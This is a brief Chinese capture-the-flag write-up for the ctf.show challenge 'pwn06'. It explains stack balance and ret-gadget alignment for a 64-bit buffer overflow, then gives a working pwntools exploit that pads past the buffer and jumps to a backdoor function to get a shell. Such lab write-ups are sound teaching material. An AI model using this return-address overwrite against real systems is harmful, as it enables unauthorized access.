已经提示了是pwn05的64位版
所以exp基本一样但是要注意栈平衡
Bash
-
函数栈平衡:保证函数调用前后的栈顶是一致的
-
1.外平栈:由函数外部保持栈平衡
2.内平栈:由函数内部保持栈平衡
其实就是要进出都是esp(32位)
或者简单理解为函数要正确退出
exp:
from pwn import* r=remote("pwn.challenge.ctf.show", 28176) #r=process("./pwn06") backdoor=0x400577 retn=0x40058e payload=b"a"*(0xc+8)+p64(retn)+p64(backdoor) r.sendline(payload) r.interactive()